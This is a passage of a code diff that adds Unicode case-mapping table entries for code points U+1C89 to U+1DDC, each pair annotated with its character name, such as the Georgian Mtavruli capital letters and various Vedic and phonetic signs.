+ ["\u1C89", "\u1C89"],
+ ["\u1C8A", "\u1C8A"],
+ ["\u1C8B", "\u1C8B"],
+ ["\u1C8C", "\u1C8C"],
+ ["\u1C8D", "\u1C8D"],
+ ["\u1C8E", "\u1C8E"],
+ ["\u1C8F", "\u1C8F"],
+ ["\u1C90", "\u10D0"], /* GEORGIAN MTAVRULI CAPITAL LETTER AN */
+ ["\u1C91", "\u10D1"], /* GEORGIAN MTAVRULI CAPITAL LETTER BAN */
+ ["\u1C92", "\u10D2"], /* GEORGIAN MTAVRULI CAPITAL LETTER GAN */
+ ["\u1C93", "\u10D3"], /* GEORGIAN MTAVRULI CAPITAL LETTER DON */
+ ["\u1C94", "\u10D4"], /* GEORGIAN MTAVRULI CAPITAL LETTER EN */
+ ["\u1C95", "\u10D5"], /* GEORGIAN MTAVRULI CAPITAL LETTER VIN */
+ ["\u1C96", "\u10D6"], /* GEORGIAN MTAVRULI CAPITAL LETTER ZEN */
+ ["\u1C97", "\u10D7"], /* GEORGIAN MTAVRULI CAPITAL LETTER TAN */
+ ["\u1C98", "\u10D8"], /* GEORGIAN MTAVRULI CAPITAL LETTER IN */
+ ["\u1C99", "\u10D9"], /* GEORGIAN MTAVRULI CAPITAL LETTER KAN */
+ ["\u1C9A", "\u10DA"], /* GEORGIAN MTAVRULI CAPITAL LETTER LAS */
+ ["\u1C9B", "\u10DB"], /* GEORGIAN MTAVRULI CAPITAL LETTER MAN */
+ ["\u1C9C", "\u10DC"], /* GEORGIAN MTAVRULI CAPITAL LETTER NAR */
+ ["\u1C9D", "\u10DD"], /* GEORGIAN MTAVRULI CAPITAL LETTER ON */
+ ["\u1C9E", "\u10DE"], /* GEORGIAN MTAVRULI CAPITAL LETTER PAR */
+ ["\u1C9F", "\u10DF"], /* GEORGIAN MTAVRULI CAPITAL LETTER ZHAR */
+ ["\u1CA0", "\u10E0"], /* GEORGIAN MTAVRULI CAPITAL LETTER RAE */
+ ["\u1CA1", "\u10E1"], /* GEORGIAN MTAVRULI CAPITAL LETTER SAN */
+ ["\u1CA2", "\u10E2"], /* GEORGIAN MTAVRULI CAPITAL LETTER TAR */
+ ["\u1CA3", "\u10E3"], /* GEORGIAN MTAVRULI CAPITAL LETTER UN */
+ ["\u1CA4", "\u10E4"], /* GEORGIAN MTAVRULI CAPITAL LETTER PHAR */
+ ["\u1CA5", "\u10E5"], /* GEORGIAN MTAVRULI CAPITAL LETTER KHAR */
+ ["\u1CA6", "\u10E6"], /* GEORGIAN MTAVRULI CAPITAL LETTER GHAN */
+ ["\u1CA7", "\u10E7"], /* GEORGIAN MTAVRULI CAPITAL LETTER QAR */
+ ["\u1CA8", "\u10E8"], /* GEORGIAN MTAVRULI CAPITAL LETTER SHIN */
+ ["\u1CA9", "\u10E9"], /* GEORGIAN MTAVRULI CAPITAL LETTER CHIN */
+ ["\u1CAA", "\u10EA"], /* GEORGIAN MTAVRULI CAPITAL LETTER CAN */
+ ["\u1CAB", "\u10EB"], /* GEORGIAN MTAVRULI CAPITAL LETTER JIL */
+ ["\u1CAC", "\u10EC"], /* GEORGIAN MTAVRULI CAPITAL LETTER CIL */
+ ["\u1CAD", "\u10ED"], /* GEORGIAN MTAVRULI CAPITAL LETTER CHAR */
+ ["\u1CAE", "\u10EE"], /* GEORGIAN MTAVRULI CAPITAL LETTER XAN */
+ ["\u1CAF", "\u10EF"], /* GEORGIAN MTAVRULI CAPITAL LETTER JHAN */
+ ["\u1CB0", "\u10F0"], /* GEORGIAN MTAVRULI CAPITAL LETTER HAE */
+ ["\u1CB1", "\u10F1"], /* GEORGIAN MTAVRULI CAPITAL LETTER HE */
+ ["\u1CB2", "\u10F2"], /* GEORGIAN MTAVRULI CAPITAL LETTER HIE */
+ ["\u1CB3", "\u10F3"], /* GEORGIAN MTAVRULI CAPITAL LETTER WE */
+ ["\u1CB4", "\u10F4"], /* GEORGIAN MTAVRULI CAPITAL LETTER HAR */
+ ["\u1CB5", "\u10F5"], /* GEORGIAN MTAVRULI CAPITAL LETTER HOE */
+ ["\u1CB6", "\u10F6"], /* GEORGIAN MTAVRULI CAPITAL LETTER FI */
+ ["\u1CB7", "\u10F7"], /* GEORGIAN MTAVRULI CAPITAL LETTER YN */
+ ["\u1CB8", "\u10F8"], /* GEORGIAN MTAVRULI CAPITAL LETTER ELIFI */
+ ["\u1CB9", "\u10F9"], /* GEORGIAN MTAVRULI CAPITAL LETTER TURNED GAN */
+ ["\u1CBA", "\u10FA"], /* GEORGIAN MTAVRULI CAPITAL LETTER AIN */
+ ["\u1CBB", "\u1CBB"],
+ ["\u1CBC", "\u1CBC"],
+ ["\u1CBD", "\u10FD"], /* GEORGIAN MTAVRULI CAPITAL LETTER AEN */
+ ["\u1CBE", "\u10FE"], /* GEORGIAN MTAVRULI CAPITAL LETTER HARD SIGN */
+ ["\u1CBF", "\u10FF"], /* GEORGIAN MTAVRULI CAPITAL LETTER LABIAL SIGN */
+ ["\u1CC0", "\u1CC0"], /* SUNDANESE PUNCTUATION BINDU SURYA */
+ ["\u1CC1", "\u1CC1"], /* SUNDANESE PUNCTUATION BINDU PANGLONG */
+ ["\u1CC2", "\u1CC2"], /* SUNDANESE PUNCTUATION BINDU PURNAMA */
+ ["\u1CC3", "\u1CC3"], /* SUNDANESE PUNCTUATION BINDU CAKRA */
+ ["\u1CC4", "\u1CC4"], /* SUNDANESE PUNCTUATION BINDU LEU SATANGA */
+ ["\u1CC5", "\u1CC5"], /* SUNDANESE PUNCTUATION BINDU KA SATANGA */
+ ["\u1CC6", "\u1CC6"], /* SUNDANESE PUNCTUATION BINDU DA SATANGA */
+ ["\u1CC7", "\u1CC7"], /* SUNDANESE PUNCTUATION BINDU BA SATANGA */
+ ["\u1CC8", "\u1CC8"],
+ ["\u1CC9", "\u1CC9"],
+ ["\u1CCA", "\u1CCA"],
+ ["\u1CCB", "\u1CCB"],
+ ["\u1CCC", "\u1CCC"],
+ ["\u1CCD", "\u1CCD"],
+ ["\u1CCE", "\u1CCE"],
+ ["\u1CCF", "\u1CCF"],
+ ["\u1CD0", "\u1CD0"], /* VEDIC TONE KARSHANA */
+ ["\u1CD1", "\u1CD1"], /* VEDIC TONE SHARA */
+ ["\u1CD2", "\u1CD2"], /* VEDIC TONE PRENKHA */
+ ["\u1CD3", "\u1CD3"], /* VEDIC SIGN NIHSHVASA */
+ ["\u1CD4", "\u1CD4"], /* VEDIC SIGN YAJURVEDIC MIDLINE SVARITA */
+ ["\u1CD5", "\u1CD5"], /* VEDIC TONE YAJURVEDIC AGGRAVATED INDEPENDENT SVARITA */
+ ["\u1CD6", "\u1CD6"], /* VEDIC TONE YAJURVEDIC INDEPENDENT SVARITA */
+ ["\u1CD7", "\u1CD7"], /* VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA */
+ ["\u1CD8", "\u1CD8"], /* VEDIC TONE CANDRA BELOW */
+ ["\u1CD9", "\u1CD9"], /* VEDIC TONE YAJURVEDIC KATHAKA INDEPENDENT SVARITA SCHROEDER */
+ ["\u1CDA", "\u1CDA"], /* VEDIC TONE DOUBLE SVARITA */
+ ["\u1CDB", "\u1CDB"], /* VEDIC TONE TRIPLE SVARITA */
+ ["\u1CDC", "\u1CDC"], /* VEDIC TONE KATHAKA ANUDATTA */
+ ["\u1CDD", "\u1CDD"], /* VEDIC TONE DOT BELOW */
+ ["\u1CDE", "\u1CDE"], /* VEDIC TONE TWO DOTS BELOW */
+ ["\u1CDF", "\u1CDF"], /* VEDIC TONE THREE DOTS BELOW */
+ ["\u1CE0", "\u1CE0"], /* VEDIC TONE RIGVEDIC KASHMIRI INDEPENDENT SVARITA */
+ ["\u1CE1", "\u1CE1"], /* VEDIC TONE ATHARVAVEDIC INDEPENDENT SVARITA */
+ ["\u1CE2", "\u1CE2"], /* VEDIC SIGN VISARGA SVARITA */
+ ["\u1CE3", "\u1CE3"], /* VEDIC SIGN VISARGA UDATTA */
+ ["\u1CE4", "\u1CE4"], /* VEDIC SIGN REVERSED VISARGA UDATTA */
+ ["\u1CE5", "\u1CE5"], /* VEDIC SIGN VISARGA ANUDATTA */
+ ["\u1CE6", "\u1CE6"], /* VEDIC SIGN REVERSED VISARGA ANUDATTA */
+ ["\u1CE7", "\u1CE7"], /* VEDIC SIGN VISARGA UDATTA WITH TAIL */
+ ["\u1CE8", "\u1CE8"], /* VEDIC SIGN VISARGA ANUDATTA WITH TAIL */
+ ["\u1CE9", "\u1CE9"], /* VEDIC SIGN ANUSVARA ANTARGOMUKHA */
+ ["\u1CEA", "\u1CEA"], /* VEDIC SIGN ANUSVARA BAHIRGOMUKHA */
+ ["\u1CEB", "\u1CEB"], /* VEDIC SIGN ANUSVARA VAMAGOMUKHA */
+ ["\u1CEC", "\u1CEC"], /* VEDIC SIGN ANUSVARA VAMAGOMUKHA WITH TAIL */
+ ["\u1CED", "\u1CED"], /* VEDIC SIGN TIRYAK */
+ ["\u1CEE", "\u1CEE"], /* VEDIC SIGN HEXIFORM LONG ANUSVARA */
+ ["\u1CEF", "\u1CEF"], /* VEDIC SIGN LONG ANUSVARA */
+ ["\u1CF0", "\u1CF0"], /* VEDIC SIGN RTHANG LONG ANUSVARA */
+ ["\u1CF1", "\u1CF1"], /* VEDIC SIGN ANUSVARA UBHAYATO MUKHA */
+ ["\u1CF2", "\u1CF2"], /* VEDIC SIGN ARDHAVISARGA */
+ ["\u1CF3", "\u1CF3"], /* VEDIC SIGN ROTATED ARDHAVISARGA */
+ ["\u1CF4", "\u1CF4"], /* VEDIC TONE CANDRA ABOVE */
+ ["\u1CF5", "\u1CF5"], /* VEDIC SIGN JIHVAMULIYA */
+ ["\u1CF6", "\u1CF6"], /* VEDIC SIGN UPADHMANIYA */
+ ["\u1CF7", "\u1CF7"], /* VEDIC SIGN ATIKRAMA */
+ ["\u1CF8", "\u1CF8"], /* VEDIC TONE RING ABOVE */
+ ["\u1CF9", "\u1CF9"], /* VEDIC TONE DOUBLE RING ABOVE */
+ ["\u1CFA", "\u1CFA"], /* VEDIC SIGN DOUBLE ANUSVARA ANTARGOMUKHA */
+ ["\u1CFB", "\u1CFB"],
+ ["\u1CFC", "\u1CFC"],
+ ["\u1CFD", "\u1CFD"],
+ ["\u1CFE", "\u1CFE"],
+ ["\u1CFF", "\u1CFF"],
+ ["\u1D00", "\u1D00"], /* LATIN LETTER SMALL CAPITAL A */
+ ["\u1D01", "\u1D01"], /* LATIN LETTER SMALL CAPITAL AE */
+ ["\u1D02", "\u1D02"], /* LATIN SMALL LETTER TURNED AE */
+ ["\u1D03", "\u1D03"], /* LATIN LETTER SMALL CAPITAL BARRED B */
+ ["\u1D04", "\u1D04"], /* LATIN LETTER SMALL CAPITAL C */
+ ["\u1D05", "\u1D05"], /* LATIN LETTER SMALL CAPITAL D */
+ ["\u1D06", "\u1D06"], /* LATIN LETTER SMALL CAPITAL ETH */
+ ["\u1D07", "\u1D07"], /* LATIN LETTER SMALL CAPITAL E */
+ ["\u1D08", "\u1D08"], /* LATIN SMALL LETTER TURNED OPEN E */
+ ["\u1D09", "\u1D09"], /* LATIN SMALL LETTER TURNED I */
+ ["\u1D0A", "\u1D0A"], /* LATIN LETTER SMALL CAPITAL J */
+ ["\u1D0B", "\u1D0B"], /* LATIN LETTER SMALL CAPITAL K */
+ ["\u1D0C", "\u1D0C"], /* LATIN LETTER SMALL CAPITAL L WITH STROKE */
+ ["\u1D0D", "\u1D0D"], /* LATIN LETTER SMALL CAPITAL M */
+ ["\u1D0E", "\u1D0E"], /* LATIN LETTER SMALL CAPITAL REVERSED N */
+ ["\u1D0F", "\u1D0F"], /* LATIN LETTER SMALL CAPITAL O */
+ ["\u1D10", "\u1D10"], /* LATIN LETTER SMALL CAPITAL OPEN O */
+ ["\u1D11", "\u1D11"], /* LATIN SMALL LETTER SIDEWAYS O */
+ ["\u1D12", "\u1D12"], /* LATIN SMALL LETTER SIDEWAYS OPEN O */
+ ["\u1D13", "\u1D13"], /* LATIN SMALL LETTER SIDEWAYS O WITH STROKE */
+ ["\u1D14", "\u1D14"], /* LATIN SMALL LETTER TURNED OE */
+ ["\u1D15", "\u1D15"], /* LATIN LETTER SMALL CAPITAL OU */
+ ["\u1D16", "\u1D16"], /* LATIN SMALL LETTER TOP HALF O */
+ ["\u1D17", "\u1D17"], /* LATIN SMALL LETTER BOTTOM HALF O */
+ ["\u1D18", "\u1D18"], /* LATIN LETTER SMALL CAPITAL P */
+ ["\u1D19", "\u1D19"], /* LATIN LETTER SMALL CAPITAL REVERSED R */
+ ["\u1D1A", "\u1D1A"], /* LATIN LETTER SMALL CAPITAL TURNED R */
+ ["\u1D1B", "\u1D1B"], /* LATIN LETTER SMALL CAPITAL T */
+ ["\u1D1C", "\u1D1C"], /* LATIN LETTER SMALL CAPITAL U */
+ ["\u1D1D", "\u1D1D"], /* LATIN SMALL LETTER SIDEWAYS U */
+ ["\u1D1E", "\u1D1E"], /* LATIN SMALL LETTER SIDEWAYS DIAERESIZED U */
+ ["\u1D1F", "\u1D1F"], /* LATIN SMALL LETTER SIDEWAYS TURNED M */
+ ["\u1D20", "\u1D20"], /* LATIN LETTER SMALL CAPITAL V */
+ ["\u1D21", "\u1D21"], /* LATIN LETTER SMALL CAPITAL W */
+ ["\u1D22", "\u1D22"], /* LATIN LETTER SMALL CAPITAL Z */
+ ["\u1D23", "\u1D23"], /* LATIN LETTER SMALL CAPITAL EZH */
+ ["\u1D24", "\u1D24"], /* LATIN LETTER VOICED LARYNGEAL SPIRANT */
+ ["\u1D25", "\u1D25"], /* LATIN LETTER AIN */
+ ["\u1D26", "\u1D26"], /* GREEK LETTER SMALL CAPITAL GAMMA */
+ ["\u1D27", "\u1D27"], /* GREEK LETTER SMALL CAPITAL LAMDA */
+ ["\u1D28", "\u1D28"], /* GREEK LETTER SMALL CAPITAL PI */
+ ["\u1D29", "\u1D29"], /* GREEK LETTER SMALL CAPITAL RHO */
+ ["\u1D2A", "\u1D2A"], /* GREEK LETTER SMALL CAPITAL PSI */
+ ["\u1D2B", "\u1D2B"], /* CYRILLIC LETTER SMALL CAPITAL EL */
+ ["\u1D2C", "\u1D2C"], /* MODIFIER LETTER CAPITAL A */
+ ["\u1D2D", "\u1D2D"], /* MODIFIER LETTER CAPITAL AE */
+ ["\u1D2E", "\u1D2E"], /* MODIFIER LETTER CAPITAL B */
+ ["\u1D2F", "\u1D2F"], /* MODIFIER LETTER CAPITAL BARRED B */
+ ["\u1D30", "\u1D30"], /* MODIFIER LETTER CAPITAL D */
+ ["\u1D31", "\u1D31"], /* MODIFIER LETTER CAPITAL E */
+ ["\u1D32", "\u1D32"], /* MODIFIER LETTER CAPITAL REVERSED E */
+ ["\u1D33", "\u1D33"], /* MODIFIER LETTER CAPITAL G */
+ ["\u1D34", "\u1D34"], /* MODIFIER LETTER CAPITAL H */
+ ["\u1D35", "\u1D35"], /* MODIFIER LETTER CAPITAL I */
+ ["\u1D36", "\u1D36"], /* MODIFIER LETTER CAPITAL J */
+ ["\u1D37", "\u1D37"], /* MODIFIER LETTER CAPITAL K */
+ ["\u1D38", "\u1D38"], /* MODIFIER LETTER CAPITAL L */
+ ["\u1D39", "\u1D39"], /* MODIFIER LETTER CAPITAL M */
+ ["\u1D3A", "\u1D3A"], /* MODIFIER LETTER CAPITAL N */
+ ["\u1D3B", "\u1D3B"], /* MODIFIER LETTER CAPITAL REVERSED N */
+ ["\u1D3C", "\u1D3C"], /* MODIFIER LETTER CAPITAL O */
+ ["\u1D3D", "\u1D3D"], /* MODIFIER LETTER CAPITAL OU */
+ ["\u1D3E", "\u1D3E"], /* MODIFIER LETTER CAPITAL P */
+ ["\u1D3F", "\u1D3F"], /* MODIFIER LETTER CAPITAL R */
+ ["\u1D40", "\u1D40"], /* MODIFIER LETTER CAPITAL T */
+ ["\u1D41", "\u1D41"], /* MODIFIER LETTER CAPITAL U */
+ ["\u1D42", "\u1D42"], /* MODIFIER LETTER CAPITAL W */
+ ["\u1D43", "\u1D43"], /* MODIFIER LETTER SMALL A */
+ ["\u1D44", "\u1D44"], /* MODIFIER LETTER SMALL TURNED A */
+ ["\u1D45", "\u1D45"], /* MODIFIER LETTER SMALL ALPHA */
+ ["\u1D46", "\u1D46"], /* MODIFIER LETTER SMALL TURNED AE */
+ ["\u1D47", "\u1D47"], /* MODIFIER LETTER SMALL B */
+ ["\u1D48", "\u1D48"], /* MODIFIER LETTER SMALL D */
+ ["\u1D49", "\u1D49"], /* MODIFIER LETTER SMALL E */
+ ["\u1D4A", "\u1D4A"], /* MODIFIER LETTER SMALL SCHWA */
+ ["\u1D4B", "\u1D4B"], /* MODIFIER LETTER SMALL OPEN E */
+ ["\u1D4C", "\u1D4C"], /* MODIFIER LETTER SMALL TURNED OPEN E */
+ ["\u1D4D", "\u1D4D"], /* MODIFIER LETTER SMALL G */
+ ["\u1D4E", "\u1D4E"], /* MODIFIER LETTER SMALL TURNED I */
+ ["\u1D4F", "\u1D4F"], /* MODIFIER LETTER SMALL K */
+ ["\u1D50", "\u1D50"], /* MODIFIER LETTER SMALL M */
+ ["\u1D51", "\u1D51"], /* MODIFIER LETTER SMALL ENG */
+ ["\u1D52", "\u1D52"], /* MODIFIER LETTER SMALL O */
+ ["\u1D53", "\u1D53"], /* MODIFIER LETTER SMALL OPEN O */
+ ["\u1D54", "\u1D54"], /* MODIFIER LETTER SMALL TOP HALF O */
+ ["\u1D55", "\u1D55"], /* MODIFIER LETTER SMALL BOTTOM HALF O */
+ ["\u1D56", "\u1D56"], /* MODIFIER LETTER SMALL P */
+ ["\u1D57", "\u1D57"], /* MODIFIER LETTER SMALL T */
+ ["\u1D58", "\u1D58"], /* MODIFIER LETTER SMALL U */
+ ["\u1D59", "\u1D59"], /* MODIFIER LETTER SMALL SIDEWAYS U */
+ ["\u1D5A", "\u1D5A"], /* MODIFIER LETTER SMALL TURNED M */
+ ["\u1D5B", "\u1D5B"], /* MODIFIER LETTER SMALL V */
+ ["\u1D5C", "\u1D5C"], /* MODIFIER LETTER SMALL AIN */
+ ["\u1D5D", "\u1D5D"], /* MODIFIER LETTER SMALL BETA */
+ ["\u1D5E", "\u1D5E"], /* MODIFIER LETTER SMALL GREEK GAMMA */
+ ["\u1D5F", "\u1D5F"], /* MODIFIER LETTER SMALL DELTA */
+ ["\u1D60", "\u1D60"], /* MODIFIER LETTER SMALL GREEK PHI */
+ ["\u1D61", "\u1D61"], /* MODIFIER LETTER SMALL CHI */
+ ["\u1D62", "\u1D62"], /* LATIN SUBSCRIPT SMALL LETTER I */
+ ["\u1D63", "\u1D63"], /* LATIN SUBSCRIPT SMALL LETTER R */
+ ["\u1D64", "\u1D64"], /* LATIN SUBSCRIPT SMALL LETTER U */
+ ["\u1D65", "\u1D65"], /* LATIN SUBSCRIPT SMALL LETTER V */
+ ["\u1D66", "\u1D66"], /* GREEK SUBSCRIPT SMALL LETTER BETA */
+ ["\u1D67", "\u1D67"], /* GREEK SUBSCRIPT SMALL LETTER GAMMA */
+ ["\u1D68", "\u1D68"], /* GREEK SUBSCRIPT SMALL LETTER RHO */
+ ["\u1D69", "\u1D69"], /* GREEK SUBSCRIPT SMALL LETTER PHI */
+ ["\u1D6A", "\u1D6A"], /* GREEK SUBSCRIPT SMALL LETTER CHI */
+ ["\u1D6B", "\u1D6B"], /* LATIN SMALL LETTER UE */
+ ["\u1D6C", "\u1D6C"], /* LATIN SMALL LETTER B WITH MIDDLE TILDE */
+ ["\u1D6D", "\u1D6D"], /* LATIN SMALL LETTER D WITH MIDDLE TILDE */
+ ["\u1D6E", "\u1D6E"], /* LATIN SMALL LETTER F WITH MIDDLE TILDE */
+ ["\u1D6F", "\u1D6F"], /* LATIN SMALL LETTER M WITH MIDDLE TILDE */
+ ["\u1D70", "\u1D70"], /* LATIN SMALL LETTER N WITH MIDDLE TILDE */
+ ["\u1D71", "\u1D71"], /* LATIN SMALL LETTER P WITH MIDDLE TILDE */
+ ["\u1D72", "\u1D72"], /* LATIN SMALL LETTER R WITH MIDDLE TILDE */
+ ["\u1D73", "\u1D73"], /* LATIN SMALL LETTER R WITH FISHHOOK AND MIDDLE TILDE */
+ ["\u1D74", "\u1D74"], /* LATIN SMALL LETTER S WITH MIDDLE TILDE */
+ ["\u1D75", "\u1D75"], /* LATIN SMALL LETTER T WITH MIDDLE TILDE */
+ ["\u1D76", "\u1D76"], /* LATIN SMALL LETTER Z WITH MIDDLE TILDE */
+ ["\u1D77", "\u1D77"], /* LATIN SMALL LETTER TURNED G */
+ ["\u1D78", "\u1D78"], /* MODIFIER LETTER CYRILLIC EN */
+ ["\uA77D", "\u1D79"], /* LATIN SMALL LETTER INSULAR G */
+ ["\u1D7A", "\u1D7A"], /* LATIN SMALL LETTER TH WITH STRIKETHROUGH */
+ ["\u1D7B", "\u1D7B"], /* LATIN SMALL CAPITAL LETTER I WITH STROKE */
+ ["\u1D7C", "\u1D7C"], /* LATIN SMALL LETTER IOTA WITH STROKE */
+ ["\u2C63", "\u1D7D"], /* LATIN SMALL LETTER P WITH STROKE */
+ ["\u1D7E", "\u1D7E"], /* LATIN SMALL CAPITAL LETTER U WITH STROKE */
+ ["\u1D7F", "\u1D7F"], /* LATIN SMALL LETTER UPSILON WITH STROKE */
+ ["\u1D80", "\u1D80"], /* LATIN SMALL LETTER B WITH PALATAL HOOK */
+ ["\u1D81", "\u1D81"], /* LATIN SMALL LETTER D WITH PALATAL HOOK */
+ ["\u1D82", "\u1D82"], /* LATIN SMALL LETTER F WITH PALATAL HOOK */
+ ["\u1D83", "\u1D83"], /* LATIN SMALL LETTER G WITH PALATAL HOOK */
+ ["\u1D84", "\u1D84"], /* LATIN SMALL LETTER K WITH PALATAL HOOK */
+ ["\u1D85", "\u1D85"], /* LATIN SMALL LETTER L WITH PALATAL HOOK */
+ ["\u1D86", "\u1D86"], /* LATIN SMALL LETTER M WITH PALATAL HOOK */
+ ["\u1D87", "\u1D87"], /* LATIN SMALL LETTER N WITH PALATAL HOOK */
+ ["\u1D88", "\u1D88"], /* LATIN SMALL LETTER P WITH PALATAL HOOK */
+ ["\u1D89", "\u1D89"], /* LATIN SMALL LETTER R WITH PALATAL HOOK */
+ ["\u1D8A", "\u1D8A"], /* LATIN SMALL LETTER S WITH PALATAL HOOK */
+ ["\u1D8B", "\u1D8B"], /* LATIN SMALL LETTER ESH WITH PALATAL HOOK */
+ ["\u1D8C", "\u1D8C"], /* LATIN SMALL LETTER V WITH PALATAL HOOK */
+ ["\u1D8D", "\u1D8D"], /* LATIN SMALL LETTER X WITH PALATAL HOOK */
+ ["\uA7C6", "\u1D8E"], /* LATIN SMALL LETTER Z WITH PALATAL HOOK */
+ ["\u1D8F", "\u1D8F"], /* LATIN SMALL LETTER A WITH RETROFLEX HOOK */
+ ["\u1D90", "\u1D90"], /* LATIN SMALL LETTER ALPHA WITH RETROFLEX HOOK */
+ ["\u1D91", "\u1D91"], /* LATIN SMALL LETTER D WITH HOOK AND TAIL */
+ ["\u1D92", "\u1D92"], /* LATIN SMALL LETTER E WITH RETROFLEX HOOK */
+ ["\u1D93", "\u1D93"], /* LATIN SMALL LETTER OPEN E WITH RETROFLEX HOOK */
+ ["\u1D94", "\u1D94"], /* LATIN SMALL LETTER REVERSED OPEN E WITH RETROFLEX HOOK */
+ ["\u1D95", "\u1D95"], /* LATIN SMALL LETTER SCHWA WITH RETROFLEX HOOK */
+ ["\u1D96", "\u1D96"], /* LATIN SMALL LETTER I WITH RETROFLEX HOOK */
+ ["\u1D97", "\u1D97"], /* LATIN SMALL LETTER OPEN O WITH RETROFLEX HOOK */
+ ["\u1D98", "\u1D98"], /* LATIN SMALL LETTER ESH WITH RETROFLEX HOOK */
+ ["\u1D99", "\u1D99"], /* LATIN SMALL LETTER U WITH RETROFLEX HOOK */
+ ["\u1D9A", "\u1D9A"], /* LATIN SMALL LETTER EZH WITH RETROFLEX HOOK */
+ ["\u1D9B", "\u1D9B"], /* MODIFIER LETTER SMALL TURNED ALPHA */
+ ["\u1D9C", "\u1D9C"], /* MODIFIER LETTER SMALL C */
+ ["\u1D9D", "\u1D9D"], /* MODIFIER LETTER SMALL C WITH CURL */
+ ["\u1D9E", "\u1D9E"], /* MODIFIER LETTER SMALL ETH */
+ ["\u1D9F", "\u1D9F"], /* MODIFIER LETTER SMALL REVERSED OPEN E */
+ ["\u1DA0", "\u1DA0"], /* MODIFIER LETTER SMALL F */
+ ["\u1DA1", "\u1DA1"], /* MODIFIER LETTER SMALL DOTLESS J WITH STROKE */
+ ["\u1DA2", "\u1DA2"], /* MODIFIER LETTER SMALL SCRIPT G */
+ ["\u1DA3", "\u1DA3"], /* MODIFIER LETTER SMALL TURNED H */
+ ["\u1DA4", "\u1DA4"], /* MODIFIER LETTER SMALL I WITH STROKE */
+ ["\u1DA5", "\u1DA5"], /* MODIFIER LETTER SMALL IOTA */
+ ["\u1DA6", "\u1DA6"], /* MODIFIER LETTER SMALL CAPITAL I */
+ ["\u1DA7", "\u1DA7"], /* MODIFIER LETTER SMALL CAPITAL I WITH STROKE */
+ ["\u1DA8", "\u1DA8"], /* MODIFIER LETTER SMALL J WITH CROSSED-TAIL */
+ ["\u1DA9", "\u1DA9"], /* MODIFIER LETTER SMALL L WITH RETROFLEX HOOK */
+ ["\u1DAA", "\u1DAA"], /* MODIFIER LETTER SMALL L WITH PALATAL HOOK */
+ ["\u1DAB", "\u1DAB"], /* MODIFIER LETTER SMALL CAPITAL L */
+ ["\u1DAC", "\u1DAC"], /* MODIFIER LETTER SMALL M WITH HOOK */
+ ["\u1DAD", "\u1DAD"], /* MODIFIER LETTER SMALL TURNED M WITH LONG LEG */
+ ["\u1DAE", "\u1DAE"], /* MODIFIER LETTER SMALL N WITH LEFT HOOK */
+ ["\u1DAF", "\u1DAF"], /* MODIFIER LETTER SMALL N WITH RETROFLEX HOOK */
+ ["\u1DB0", "\u1DB0"], /* MODIFIER LETTER SMALL CAPITAL N */
+ ["\u1DB1", "\u1DB1"], /* MODIFIER LETTER SMALL BARRED O */
+ ["\u1DB2", "\u1DB2"], /* MODIFIER LETTER SMALL PHI */
+ ["\u1DB3", "\u1DB3"], /* MODIFIER LETTER SMALL S WITH HOOK */
+ ["\u1DB4", "\u1DB4"], /* MODIFIER LETTER SMALL ESH */
+ ["\u1DB5", "\u1DB5"], /* MODIFIER LETTER SMALL T WITH PALATAL HOOK */
+ ["\u1DB6", "\u1DB6"], /* MODIFIER LETTER SMALL U BAR */
+ ["\u1DB7", "\u1DB7"], /* MODIFIER LETTER SMALL UPSILON */
+ ["\u1DB8", "\u1DB8"], /* MODIFIER LETTER SMALL CAPITAL U */
+ ["\u1DB9", "\u1DB9"], /* MODIFIER LETTER SMALL V WITH HOOK */
+ ["\u1DBA", "\u1DBA"], /* MODIFIER LETTER SMALL TURNED V */
+ ["\u1DBB", "\u1DBB"], /* MODIFIER LETTER SMALL Z */
+ ["\u1DBC", "\u1DBC"], /* MODIFIER LETTER SMALL Z WITH RETROFLEX HOOK */
+ ["\u1DBD", "\u1DBD"], /* MODIFIER LETTER SMALL Z WITH CURL */
+ ["\u1DBE", "\u1DBE"], /* MODIFIER LETTER SMALL EZH */
+ ["\u1DBF", "\u1DBF"], /* MODIFIER LETTER SMALL THETA */
+ ["\u1DC0", "\u1DC0"], /* COMBINING DOTTED GRAVE ACCENT */
+ ["\u1DC1", "\u1DC1"], /* COMBINING DOTTED ACUTE ACCENT */
+ ["\u1DC2", "\u1DC2"], /* COMBINING SNAKE BELOW */
+ ["\u1DC3", "\u1DC3"], /* COMBINING SUSPENSION MARK */
+ ["\u1DC4", "\u1DC4"], /* COMBINING MACRON-ACUTE */
+ ["\u1DC5", "\u1DC5"], /* COMBINING GRAVE-MACRON */
+ ["\u1DC6", "\u1DC6"], /* COMBINING MACRON-GRAVE */
+ ["\u1DC7", "\u1DC7"], /* COMBINING ACUTE-MACRON */
+ ["\u1DC8", "\u1DC8"], /* COMBINING GRAVE-ACUTE-GRAVE */
+ ["\u1DC9", "\u1DC9"], /* COMBINING ACUTE-GRAVE-ACUTE */
+ ["\u1DCA", "\u1DCA"], /* COMBINING LATIN SMALL LETTER R BELOW */
+ ["\u1DCB", "\u1DCB"], /* COMBINING BREVE-MACRON */
+ ["\u1DCC", "\u1DCC"], /* COMBINING MACRON-BREVE */
+ ["\u1DCD", "\u1DCD"], /* COMBINING DOUBLE CIRCUMFLEX ABOVE */
+ ["\u1DCE", "\u1DCE"], /* COMBINING OGONEK ABOVE */
+ ["\u1DCF", "\u1DCF"], /* COMBINING ZIGZAG BELOW */
+ ["\u1DD0", "\u1DD0"], /* COMBINING IS BELOW */
+ ["\u1DD1", "\u1DD1"], /* COMBINING UR ABOVE */
+ ["\u1DD2", "\u1DD2"], /* COMBINING US ABOVE */
+ ["\u1DD3", "\u1DD3"], /* COMBINING LATIN SMALL LETTER FLATTENED OPEN A ABOVE */
+ ["\u1DD4", "\u1DD4"], /* COMBINING LATIN SMALL LETTER AE */
+ ["\u1DD5", "\u1DD5"], /* COMBINING LATIN SMALL LETTER AO */
+ ["\u1DD6", "\u1DD6"], /* COMBINING LATIN SMALL LETTER AV */
+ ["\u1DD7", "\u1DD7"], /* COMBINING LATIN SMALL LETTER C CEDILLA */
+ ["\u1DD8", "\u1DD8"], /* COMBINING LATIN SMALL LETTER INSULAR D */
+ ["\u1DD9", "\u1DD9"], /* COMBINING LATIN SMALL LETTER ETH */
+ ["\u1DDA", "\u1DDA"], /* COMBINING LATIN SMALL LETTER G */
+ ["\u1DDB", "\u1DDB"], /* COMBINING LATIN LETTER SMALL CAPITAL G */
+ ["\u1DDC", "\u1DDC"], /* COMBINING LATIN SMALL LETTER K */
